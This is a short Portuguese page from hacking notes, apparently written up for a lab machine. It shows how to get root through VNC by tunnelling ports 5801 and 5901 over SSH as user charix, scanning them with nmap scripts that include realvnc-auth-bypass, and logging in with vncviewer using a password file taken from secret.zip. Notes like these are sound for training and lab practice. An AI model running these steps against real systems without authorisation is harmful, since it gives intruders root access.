> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/vnc-5800-5801-5900-5901.md).

# VNC - 5800,5801,5900,5901

### Exploração de VNC nas portas 5800, 5801, 5900 e 5901

Identifique as portas em escuta:

```bash
netstat -an | grep LISTEN
```

<figure><img src="/files/fa67eb2bd400a6470d4131d17dcc3e8fbd9ed3d6" alt=""><figcaption></figcaption></figure>

#### **Túnel SSH para redirecionar portas VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="/files/e67ec5930b4719e4f795d7e053e2031b85ae0c1c" alt=""><figcaption></figcaption></figure>

Faça a varredura dos serviços VNC:

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="/files/1b9e5e0355d21cdcfac0056f3d7da667e1ecc2e9" alt=""><figcaption></figcaption></figure>

#### **Conexão via vncviewer**

Use a senha encontrada em `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

A sessão VNC fornece **acesso root** na máquina.

<figure><img src="/files/93f2ec9e4cad3add8b7054dd73a01df99e1500d9" alt=""><figcaption></figcaption></figure>


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